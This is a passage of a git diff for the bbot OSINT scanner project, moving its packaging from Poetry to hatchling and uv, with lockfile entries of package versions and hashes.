{file = "xxhash-3.6.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b242455eccdfcd1fa4134c431a30737d2b4f045770f8fe84356b3469d4b919"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a75ffc1bd5def584129774c158e108e5d768e10b75813f2b32650bb041066ed6"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1fc1ed882d1e8df932a66e2999429ba6cc4d5172914c904ab193381fba825360"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:44e342e8cc11b4e79dae5c57f2fb6360c3c20cc57d32049af8f567f5b4bcb5f4"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:c2f9ccd5c4be370939a2e17602fbc49995299203da72a3429db013d44d590e86"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:02ea4cb627c76f48cd9fb37cf7ab22bd51e57e1b519807234b473faebe526796"}, - {file = "xxhash-3.6.0-cp39-cp39-win32.whl", hash = "sha256:6551880383f0e6971dc23e512c9ccc986147ce7bfa1cd2e4b520b876c53e9f3d"}, - {file = "xxhash-3.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:7c35c4cdc65f2a29f34425c446f2f5cdcd0e3c34158931e1cc927ece925ab802"}, - {file = "xxhash-3.6.0-cp39-cp39-win_arm64.whl", hash = "sha256:ffc578717a347baf25be8397cb10d2528802d24f94cfc005c0e44fef44b5cdd6"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d"}, - {file = "xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6"}, -] - -[[package]] -name = "yara-python" -version = "4.5.2" -description = "Python interface for YARA" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "yara_python-4.5.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20aee068c8f14e8ebb40ebf03e7e2c14031736fbf6f32fca58ad89d211e4aaa0"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9899c3a80e6c543585daf49c5b06ba5987e2f387994a5455d841262ea6e8577c"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:399bb09f81d38876a06e269f68bbe810349aa0bb47fe79866ea3fc58ce38d30f"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c78608c6bf3d2c379514b1c118a104874df1844bf818087e1bf6bfec0edfd1aa"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:f25db30f8ae88a4355e5090a5d6191ee6f2abfdd529b3babc68a1faeba7c2ac8"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:f2866c0b8404086c5acb68cab20854d439009a1b02077aca22913b96138d2f6a"}, - {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9fc5abddf8767ca923a5a88b38b8057d4fab039323d5c6b2b5be6cba5e6e7350"}, - {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc2216bc73d4918012a4b270a93f9042445c7246b4a668a1bea220fbf64c7990"}, - {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b5558325eb7366f610a06e8c7c4845062d6880ee88f1fbc35e92fae333c3333c"}, - {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a293e30484abb6c137d9603fe899dfe112c327bf7a75e46f24737dd43a5e44"}, - {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2ff1e140529e7ade375b3c4c2623d155c93438bd56c8e9bebce30b1d0831350d"}, - {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:399f484847d5cb978f3dd522d3c0f20cbf36fe760d90be7aaeb5cf0e82947742"}, - {file = "yara_python-4.5.2-cp310-cp310-win32.whl", hash = "sha256:ef499e273d12b0119fc59b396a85f00d402b103c95b5a4075273cff99f4692df"}, - {file = "yara_python-4.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:dd54d92c8fe33cc7cd7b8b29ac8ac5fdb6ca498c5a697af479ff31a58258f023"}, - {file = "yara_python-4.5.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:727d3e590f41a89bbc6c1341840a398dee57bc816b9a17f69aed717f79abd5af"}, - {file = "yara_python-4.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5657c268275a025b7b2f2f57ea2be0b7972a104cce901c0ac3713787eea886e"}, - {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4bcfa3d4bda3c0822871a35dd95acf6a0fe1ab2d7869b5ae25b0a722688053a"}, - {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0d6d7e04d1f5f64ccc7d60ff76ffa5a24d929aa32809f20c2164799b63f46822"}, - {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d487dcce1e9cf331a707e16a12c841f99071dcd3e17646fff07d8b3da6d9a05c"}, - {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:f8ca11d6877d453f69987b18963398744695841b4e2e56c2f1763002d5d22dbd"}, - {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f1f009d99e05f5be7c3d4e349c949226bfe32e0a9c3c75ff5476e94385824c26"}, - {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:96ead034a1aef94671ea92a82f1c2db6defa224cf21eb5139cff7e7345e55153"}, - {file = "yara_python-4.5.2-cp311-cp311-win32.whl", hash = "sha256:7b19ac28b3b55134ea12f1ee8500d7f695e735e9bead46b822abec96f9587f06"}, - {file = "yara_python-4.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:a699917ea1f3f47aecacd8a10b8ee82137205b69f9f29822f839a0ffda2c41a1"}, - {file = "yara_python-4.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:037be5f9d5dd9f067bbbeeac5d311815611ba8298272a14b03d7ad0f42b36f5a"}, - {file = "yara_python-4.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:77c8192f56e2bbf42b0c16cd1c368ba7083047e5b11467c8b3d6330d268e1f86"}, - {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0e892b2111122552f0645bc1a55f2525117470eea3b791d452de12ae0c1ec37b"}, - {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f16d9b23f107fd0569c676ec9340b24dd5a2a2a239a163dcdeaed6032933fb94"}, - {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b98e0a77dc0f90bc53cf77cca1dc1a4e6836c7c5a283198c84d5dbb0701e722"}, - {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d6366d197079848d4c2534f07bc47f8a3c53d42855e6a492ed2191775e8cd294"}, - {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2ba9fddafe573614fc8e77973f07e74a359bd1f3a6152f93b814a6f8cfc0004"}, - {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3338f492e9bb655381dbf7e526201c1331d8c1e3760f1b06f382d901cc10cdf0"}, - {file = "yara_python-4.5.2-cp312-cp312-win32.whl", hash = "sha256:9d066da7f963f4a68a2681cbe1d7c41cb1ef2c5668de3a756731b1a7669a3120"}, - {file = "yara_python-4.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:fe5b4c9c5cb48526e8f9c67fc1fdafb9dbd9078a27d89af30de06424c8c67588"}, - {file = "yara_python-4.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ffc3101354188d23d00b831b0d070e2d1482a60d4e9964452004276f7c1edee8"}, - {file = "yara_python-4.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0c7021e6c4e34b2b11ad82de330728134831654ca1f5c24dcf093fedc0db07ae"}, - {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c73009bd6e73b04ffcbc8d47dddd4df87623207cb772492c516e16605ced5dd6"}, - {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef7f592db5e2330efd01b40760c3e2be5de497ff22bd6d12e63e9cf6f37b4213"}, - {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5980d96ac2742e997e55ba20d2746d3a42298bbb5e7d327562a01bac70c9268"}, - {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e857bc94ef54d5db89e0a58652df609753d5b95f837dde101e1058dd755896b5"}, - {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98b4732a9f5b184ade78b4675501fbdc4975302dc78aa3e917c60ca4553980d5"}, - {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:57928557c85af27d27cca21de66d2070bf1860de365fb18fc591ddfb1778b959"}, - {file = "yara_python-4.5.2-cp313-cp313-win32.whl", hash = "sha256:d7b58296ed2d262468d58f213b19df3738e48d46b8577485aecca0edf703169f"}, - {file = "yara_python-4.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:2f6ccde3f30d0c3cda9a86e91f2a74073c9aeb127856d9a62ed5c4bb22ccd75f"}, - {file = "yara_python-4.5.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:ba81f3bfba7cd7aa7bf97840eba7e2bb3d9f643090e47cbc03b2070e4f44568f"}, - {file = "yara_python-4.5.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6cbb9ded3d6dd981cb1f1a7e01b12efd260548bc2f27bf29e9dbeca1ab241363"}, - {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1cb760bb5aaa9c37e0e43b64cccfb7ff1a5ae584392661ebd82a50b758ea2d86"}, - {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:96b22ae1651f8fd2eb61d0d140daa71dce4346137124abead0bb15c47b1259ec"}, - {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e96c6cdf2284077ae039832481046806cd2b0c42c45d160da567dd0cc5673f3"}, - {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:475fb16f33767c8c048cf009cdf307688b4ed961cf29fc28b2a020c3469e4cba"}, - {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:c195d69253681751d75c6f79c88f57ebf5cc547821bdcba89fa29466356f241b"}, - {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:8cc49f5543398b48e6bcf20c6a93a34ebe6732b8ff1e55918c8908a4a6cfeaf8"}, - {file = "yara_python-4.5.2-cp39-cp39-win32.whl", hash = "sha256:2ccd788c8103f43c58d4072f696ee7b7e5be6c19bbce32f9f8e5d7b7def3ecd4"}, - {file = "yara_python-4.5.2-cp39-cp39-win_amd64.whl", hash = "sha256:ab8d75dc181b915ca7eb8eb1c3f66597286436820122f84ae9f07a7b98f256fc"}, - {file = "yara_python-4.5.2.tar.gz", hash = "sha256:9086a53c810c58740a5129f14d126b39b7ef61af00d91580c2efb654e2f742ce"}, -] - -[[package]] -name = "zipp" -version = "3.23.0" -description = "Backport of pathlib-compatible object wrapper for zip files" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev", "docs"] -files = [ - {file = "zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e"}, - {file = "zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166"}, -] -markers = {main = "python_version == \"3.9\"", dev = "python_version == \"3.9\""} - -[package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] -cover = ["pytest-cov"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -enabler = ["pytest-enabler (>=2.2)"] -test = ["big-O", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more_itertools", "pytest (>=6,!=8.1.*)", "pytest-ignore-flaky"] -type = ["pytest-mypy"] - -[metadata] -lock-version = "2.1" -python-versions = "^3.9" -content-hash = "659e25d43c0403fa5a23fa68477c1217de0674004be700d59b87f396f0385f87" diff --git a/pyproject.toml b/pyproject.toml index 6bed74db4c..35452f70b9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,93 +1,104 @@ -[tool.poetry] +[project] name = "bbot" -version = "2.8.3" +dynamic = ["version"] description = "OSINT automation for hackers." +readme = "README.md" +license = "AGPL-3.0" +requires-python = ">=3.10,<3.15" authors = [ - "TheTechromancer", - "Paul Mueller", + { name = "TheTechromancer" }, + { name = "Paul Mueller" }, ] -license = "GPL-3.0" -readme = "README.md" -repository = "https://github.com/blacklanternsecurity/bbot" -homepage = "https://github.com/blacklanternsecurity/bbot" -documentation = "https://www.blacklanternsecurity.com/bbot/" keywords = ["python", "cli", "automation", "osint", "threat-intel", "intelligence", "neo4j", "scanner", "python-library", "hacking", "recursion", "pentesting", "recon", "command-line-tool", "bugbounty", "subdomains", "security-tools", "subdomain-scanner", "osint-framework", "attack-surface", "subdomain-enumeration", "osint-tool"] classifiers = [ "Operating System :: POSIX :: Linux", "Topic :: Security", ] +dependencies = [ + "omegaconf>=2.3.0,<3", + "psutil>=5.9.4,<8.0.0", + "wordninja>=2.0.0,<3", + "ansible-runner>=2.3.2,<3", + "deepdiff>=8.0.0,<9", + "xmltojson>=2.0.2,<3", + "pycryptodome>=3.17,<4", + "idna>=3.4,<4", + "tabulate==0.8.10", + "websockets>=14.0.0,<16.0.0", + "pyjwt>=2.7.0,<3", + "beautifulsoup4>=4.12.2,<5", + "lxml>=4.9.2,<7.0.0", + "dnspython>=2.7.0,<2.8.0", + "cachetools>=5.3.2,<7.0.0", + "socksio>=1.0.0,<2", + "jinja2>=3.1.3,<4", + "regex>=2024.4.16,<2027.0.0", + "unidecode>=1.3.8,<2", + "mmh3>=4.1,<6.0", + "xxhash>=3.5.0,<4", + "setproctitle>=1.3.3,<2", + "yara-python==4.5.2", + "pyzmq>=26.0.3,<28.0.0", + "httpx>=0.28.1,<1", + "puremagic>=1.28,<2", + "pydantic>=2.12.2,<3", + "radixtarget>=3.0.13,<4", + "orjson>=3.10.12,<4", + "ansible-core>=2.17,<3", + "tldextract>=5.3.0,<6", + "cloudcheck>=9.2.0,<10", +] -[tool.poetry.urls] -"Discord" = "https://discord.com/invite/PZqkgxu5SA" +[project.urls] +Repository = "https://github.com/blacklanternsecurity/bbot" +Homepage = "https://github.com/blacklanternsecurity/bbot" +Documentation = "https://www.blacklanternsecurity.com/bbot/" +Discord = "https://discord.com/invite/PZqkgxu5SA" "Docker Hub" = "https://hub.docker.com/r/blacklanternsecurity/bbot" -[tool.poetry.scripts] -bbot = 'bbot.cli:main' +[project.scripts] +bbot = "bbot.cli:main" -[tool.poetry.dependencies] -python = "^3.9" -omegaconf = "^2.3.0" -psutil = ">=5.9.4,<8.0.0" -wordninja = "^2.0.0" -ansible-runner = "^2.3.2" -deepdiff = "^8.0.0" -xmltojson = "^2.0.2" -pycryptodome = "^3.17" -idna = "^3.4" -tabulate = "0.8.10" -websockets = ">=14.0.0,<16.0.0" -pyjwt = "^2.7.0" -beautifulsoup4 = "^4.12.2" -lxml = ">=4.9.2,<7.0.0" -dnspython = ">=2.7.0,<2.8.0" -cachetools = ">=5.3.2,<7.0.0" -socksio = "^1.0.0" -jinja2 = "^3.1.3" -regex = ">=2024.4.16,<2027.0.0" -unidecode = "^1.3.8" -mmh3 = ">=4.1,<6.0" -xxhash = "^3.5.0" -setproctitle = "^1.3.3" -yara-python = "4.5.2" -pyzmq = ">=26.0.3,<28.0.0" -httpx = "^0.28.1" -puremagic = "^1.28" -pydantic = "^2.9.2" -radixtarget = "^3.0.13" -orjson = "^3.10.12" -ansible-core = "^2.15.13" -tldextract = "^5.3.0" -cloudcheck = "^9.2.0" +[dependency-groups] +dev = [ + "urllib3>=2.0.2,<3", + "werkzeug>=2.3.4,<4.0.0", + "pytest-env>=0.8.2,<1.2.0", + "pre-commit>=3.4,<5.0", + "pytest-cov>=5,<8", + "pytest-rerunfailures>=14,<17", + "pytest-timeout>=2.3.1,<3", + "pytest-httpserver>=1.0.11,<2", + "pytest>=8.3.1,<9", + "pytest-asyncio==1.2.0", + "uvicorn>=0.32,<0.40", + "fastapi>=0.115.5,<0.129.0", + "pytest-httpx>=0.35", + "pytest-benchmark>=4,<6", + "ruff==0.15.2", +] +docs = [ + "mkdocs>=1.5.2,<2", + "mkdocs-extra-sass-plugin>=0.1.0,<1", + "mkdocs-material>=9.2.5,<10", + "mkdocs-material-extensions>=1.1.1,<2", + "mkdocstrings>=0.22,<0.31", + "mkdocstrings-python>=2.0.0,<3", + "griffe>=1,<2", + "livereload>=2.6.3,<3", + "mike>=2.1.3,<3", + "pymdown-extensions>=10.20.1,<11", +] -[tool.poetry.group.dev.dependencies] -poetry-dynamic-versioning = ">=0.21.4,<1.11.0" -urllib3 = "^2.0.2" -werkzeug = ">=2.3.4,<4.0.0" -pytest-env = ">=0.8.2,<1.2.0" -pre-commit = ">=3.4,<5.0" -pytest-cov = ">=5,<8" -pytest-rerunfailures = ">=14,<17" -pytest-timeout = "^2.3.1" -pytest-httpserver = "^1.0.11" -pytest = "^8.3.1" -pytest-asyncio = "1.2.0" -uvicorn = ">=0.32,<0.40" -fastapi = ">=0.115.5,<0.129.0" -pytest-httpx = ">=0.35" -pytest-benchmark = ">=4,<6" -ruff = "0.15.2" -pymdown-extensions = "^10.20.1" -griffe = "^1" +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" -[tool.poetry.group.docs.dependencies] -mkdocs = "^1.5.2" -mkdocs-extra-sass-plugin = "^0.1.0" -mkdocs-material = "^9.2.5" -mkdocs-material-extensions = "^1.1.1" -mkdocstrings = ">=0.22,<0.31" -mkdocstrings-python = "^1.6.0" -livereload = "^2.6.3" -mike = "^2.1.3" +[tool.hatch.version] +path = "bbot/_version.py" + +[tool.hatch.build.targets.wheel] +packages = ["bbot"] [tool.pytest.ini_options] env = [ @@ -106,10 +117,6 @@ warmup_iterations = 3 disable_gc = true min_rounds = 5 -[build-system] -requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning"] -build-backend = "poetry_dynamic_versioning.backend" - [tool.codespell] ignore-words-list = "bu,cna,couldn,dialin,nd,ned,thirdparty" skip = "./docs/javascripts/vega*.js,./bbot/wordlists/*" @@ -119,11 +126,3 @@ line-length = 119 format.exclude = ["bbot/test/test_step_1/test_manager_*"] lint.select = ["E", "F"] lint.ignore = ["E402", "E711", "E713", "E721", "E741", "F403", "F405", "E501"] - -[tool.poetry-dynamic-versioning] -enable = true -metadata = false -format-jinja = 'v2.8.3{% if branch == "dev" %}.{{ distance }}rc{% endif %}' - -[tool.poetry-dynamic-versioning.substitution] -files = ["*/__init__.py"] diff --git a/uv.lock b/uv.lock new file mode 100644 index 0000000000..dfd4409fc1 --- /dev/null +++ b/uv.lock @@ -0,0 +1,3064 @@ +version = 1 +revision = 3 +requires-python = ">=3.10, <3.15" +resolution-markers = [ + "python_full_version >= '3.12'", + "python_full_version == '3.11.*'", + "python_full_version < '3.11'", +] + +[[package]] +name = "annotated-doc" +version = "0.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4", size = 7288, upload-time = "2025-11-10T22:07:42.062Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320", size = 5303, upload-time = "2025-11-10T22:07:40.673Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "ansible-core" +version = "2.17.14" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version < '3.11'", +] +dependencies = [ + { name = "cryptography", marker = "python_full_version < '3.11'" }, + { name = "jinja2", marker = "python_full_version < '3.11'" }, + { name = "packaging", marker = "python_full_version < '3.11'" }, + { name = "pyyaml", marker = "python_full_version < '3.11'" }, + { name = "resolvelib", version = "1.0.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ff/80/2925a0564f6f99a8002c3be3885b83c3a1dc5f57ebf00163f528889865f5/ansible_core-2.17.14.tar.gz", hash = "sha256:7c17fee39f8c29d70e3282a7e9c10bd70d5cd4fd13ddffc5dcaa52adbd142ff8", size = 3119687, upload-time = "2025-09-08T18:28:03.158Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/86/29/d694562f1a875b50aa74f691521fe493704f79cf1938cd58f28f7e2327d2/ansible_core-2.17.14-py3-none-any.whl", hash = "sha256:34a49582a57c2f2af17ede2cefd3b3602a2d55d22089f3928570d52030cafa35", size = 2189656, upload-time = "2025-09-08T18:28:00.375Z" }, +] + +[[package]] +name = "ansible-core" +version = "2.19.6" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version == '3.11.*'", +] +dependencies = [ + { name = "cryptography", marker = "python_full_version == '3.11.*'" }, + { name = "jinja2", marker = "python_full_version == '3.11.*'" }, + { name = "packaging", marker = "python_full_version == '3.11.*'" }, + { name = "pyyaml", marker = "python_full_version == '3.11.*'" }, + { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.11.*'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8b/98/ca1135c50aa3004367ff1f66c101a565ac17b4bfa1c9f9a2d8e395e06775/ansible_core-2.19.6.tar.gz", hash = "sha256:1e6b711e357901422592a1d1e4a076eee918497587646a5843fa61536ede1990", size = 3414480, upload-time = "2026-01-29T19:24:10.09Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/2e/5127c0321b7fad3e636a3b2343e711b64bdb77f25a6de0d579268f8b77cc/ansible_core-2.19.6-py3-none-any.whl", hash = "sha256:a29c5df4b46cc3f4123e5aac15f3626b925841b9844fa88d3890a0c45a9a4469", size = 2415790, upload-time = "2026-01-29T19:24:07.595Z" }, +] + +[[package]] +name = "ansible-core" +version = "2.20.2" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version >= '3.12'", +] +dependencies = [ + { name = "cryptography", marker = "python_full_version >= '3.12'" }, + { name = "jinja2", marker = "python_full_version >= '3.12'" }, + { name = "packaging", marker = "python_full_version >= '3.12'" }, + { name = "pyyaml", marker = "python_full_version >= '3.12'" }, + { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/22/56/a76adc20dee854b52a3e20fcb9c01280bbac52ef54308e5b1c7bc67ade76/ansible_core-2.20.2.tar.gz", hash = "sha256:75e19a3ad8cf659579ea182cdf948ee0900d700e564802e92876de53dbd9715d", size = 3317427, upload-time = "2026-01-29T19:25:04.814Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d9/89/9d0d5ce1e63e57d59ae1c873a2c2b08ab104bd3bea365db46c3140371271/ansible_core-2.20.2-py3-none-any.whl", hash = "sha256:1bbd101e3e3b1ace91d8be123007050f7efd94c4c78bbeb9e45ad1c7016d08ef", size = 2412886, upload-time = "2026-01-29T19:25:03.04Z" }, +] + +[[package]] +name = "ansible-runner" +version = "2.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging" }, + { name = "pexpect" }, + { name = "python-daemon" }, + { name = "pyyaml" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/aa/db/65b9e058807d313c495a6f4365cc11234d0391c5843659ddc27cc4bf1677/ansible_runner-2.4.2.tar.gz", hash = "sha256:331d4da8d784e5a76aa9356981c0255f4bb1ba640736efe84b0bd7c73a4ca420", size = 152047, upload-time = "2025-10-14T19:10:50.159Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a9/da/19512e72e9cf2b8e7e6345264baa6c7ac1bb0ab128eb19c73a58407c4566/ansible_runner-2.4.2-py3-none-any.whl", hash = "sha256:0bde6cb39224770ff49ccdc6027288f6a98f4ed2ea0c64688b31217033221893", size = 79758, upload-time = "2025-10-14T19:10:48.994Z" }, +] + +[[package]] +name = "antlr4-python3-runtime" +version = "4.9.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3e/38/7859ff46355f76f8d19459005ca000b6e7012f2f1ca597746cbcd1fbfe5e/antlr4-python3-runtime-4.9.3.tar.gz", hash = "sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b", size = 117034, upload-time = "2021-11-06T17:52:23.524Z" } + +[[package]] +name = "anyio" +version = "4.12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" }, +] + +[[package]] +name = "babel" +version = "2.18.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/b2/51899539b6ceeeb420d40ed3cd4b7a40519404f9baf3d4ac99dc413a834b/babel-2.18.0.tar.gz", hash = "sha256:b80b99a14bd085fcacfa15c9165f651fbb3406e66cc603abf11c5750937c992d", size = 9959554, upload-time = "2026-02-01T12:30:56.078Z" } +wheels = [ + { url = 